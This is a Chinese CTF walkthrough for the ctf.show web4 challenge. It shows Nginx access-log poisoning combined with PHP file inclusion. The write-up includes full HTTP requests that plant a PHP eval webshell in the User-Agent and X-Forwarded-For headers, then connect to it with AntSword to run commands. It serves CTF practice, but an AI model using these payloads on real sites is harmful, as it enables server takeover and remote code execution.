ctf.show_web4

这道题是 日志包含 + 命令 / 后门注入,核心思路是:

  1. 利用 include($_GET['url']) 包含 Nginx 访问日志
  2. 在请求头里写入 PHP 一句话木马,让日志里留下可执行的后门代码
  3. 用蚁剑连接后门,拿到 flag

✅ 步骤 1:确认日志路径可包含

先访问日志文件,验证文件包含漏洞:

plaintext

复制代码
http://你的目标地址/?url=/var/log/nginx/access.log

如果页面返回 Nginx 访问日志(像截图里那样),说明日志包含成功,可以继续下一步。


✅ 步骤 2:在请求头注入 PHP 后门

用 Burp Suite 抓包,修改请求头,在 User-AgentX-Forwarded-For 里写入一句话木马:

http

复制代码
GET /?url=/var/log/nginx/access.log HTTP/1.1
Host: 你的目标地址
User-Agent: <?php @eval($_POST['-123']); ?>
X-Forwarded-For: <?php @eval($_POST['-123']); ?>
Connection: close
  • 密码设为 -123(你可以随便改)
  • 发送这个请求,Nginx 会把这个 User-Agent 写入访问日志,日志里就有了可执行的 PHP 代码

✅ 步骤 3:包含日志,让后门生效

再次访问日志路径,让服务器执行日志里的 PHP 代码:

plaintext

复制代码
http://你的目标地址/?url=/var/log/nginx/access.log

这一步会让 include() 把日志里的 <?php @eval($_POST['-123']); ?> 当作 PHP 代码执行。


✅ 步骤 4:用蚁剑连接后门

  1. 打开蚁剑,点击「添加数据」

  2. 输入 URL: plaintext

    复制代码
    http://你的目标地址/?url=/var/log/nginx/access.log
  3. 密码填 -123(和你刚才注入的密码一致)

  4. 选择「POST」方式,点击「测试连接」

  5. 连接成功后,就可以管理服务器文件、执行命令,直接找到 flag

具体操作

步骤 1:用 Burp Suite 抓包并注入一句话木马

  1. 打开 Burp Suite,开启 Proxy → Intercept 拦截。

  2. 浏览器访问: plaintext

    复制代码
    https://00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show/?url=/var/log/nginx/access.log
  3. Burp 会拦截到这个 GET 请求,修改请求头 ,在 User-Agent 里写入 PHP 一句话木马:

    http

    复制代码
    GET /?url=/var/log/nginx/access.log HTTP/1.1
    Host: 00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show
    User-Agent: <?php @eval($_POST['-123']); ?>  <!-- 核心:注入后门代码 -->
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    Connection: close
    • 密码设为 -123(可以自定义)
    • 其他头保持不变
  4. 点击 Forward 放行请求,Nginx 会把这段 PHP 代码写入访问日志


✅ 步骤 2:验证日志包含后门已生效

再次在浏览器访问同一个 URL:

plaintext

复制代码
https://00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show/?url=/var/log/nginx/access.log

这一步会让 include() 执行日志里的 PHP 代码,后门已经激活。


✅ 步骤 3:用蚁剑连接后门拿 flag

  1. 打开蚁剑(AntSword),点击「添加数据」。
  2. 填写信息:
    • URL 地址

      plaintext

      复制代码
      https://00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show/?url=/var/log/nginx/access.log
    • 连接密码-123(和你注入的密码一致)

    • 请求方式POST

  3. 点击「测试连接」,如果提示连接成功,就可以:
    • 浏览服务器文件
    • 执行系统命令(比如 cat /flag
    • 直接找到并读取 flag 文件

💡 关键原理(为什么能成功)

  1. include($_GET['url']) 允许包含任意文件,这里我们包含了 Nginx 访问日志 /var/log/nginx/access.log
  2. 我们在 User-Agent 里写入 PHP 代码,Nginx 会把请求头原样记录到日志中。
  3. 再次包含日志时,PHP 代码会被服务器执行,相当于留下了一个后门。
  4. 蚁剑通过 POST 传递密码,执行任意系统命令,最终拿到 flag。

🚀 避坑提醒

  • 必须用 https:你的目标地址是 https,不要改成 http,否则会报错。
  • 密码要一致 :蚁剑里填的密码必须和 Burp 注入的 $_POST['xxx'] 里的 xxx 完全一样。
  • 如果蚁剑连接失败:检查 URL 是否正确、密码是否一致、是否已经成功注入了 PHP 代码到日志里。
相关推荐
zzb158015 分钟前
Fragment 生命周期深度图解:从 onAttach 到 onDetach 完整流程(面试必备)
android·java·面试·安卓
众少成多积小致巨20 分钟前
Android 源码查看笔记
android·源码
angerdream24 分钟前
Android手把手编写儿童手机远程监控App之前台服务
android
敲代码的瓦龙2 小时前
Android?Activity!!!
android
重生之我在安卓搞音频4 小时前
二、Android 音频框架
android·音视频
studyForMokey4 小时前
【Android面试】Java专题 todo
android·java·面试
代码改善世界4 小时前
【MATLAB初阶】矩阵操作(二):矩阵的运算
android·matlab·矩阵
九皇叔叔4 小时前
MySQL实操指南:复制表及数据复制全解析
android·数据库·mysql
梦想不只是梦与想4 小时前
flutter 与 Android iOS 通信?以及实现原理(一)
android·flutter·ios·methodchannel·eventchannel·basicmessage
Lambert_lin06 小时前
Android grade9.0 之后 自定义apk 名称
android·kotlin